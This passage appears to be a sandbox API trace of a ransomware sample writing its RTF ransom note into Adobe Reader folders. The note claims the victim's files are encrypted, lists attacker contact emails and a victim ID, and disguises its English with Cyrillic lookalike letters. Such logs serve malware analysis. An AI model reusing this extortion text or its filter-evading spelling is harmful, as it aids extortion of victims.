rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.355] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.356] CloseHandle (hObject=0x1ac) returned 1 [0042.356] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\!bwng_info!.rtf")) returned 0xffffffff [0042.356] GetLastError () returned 0x2 [0042.356] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 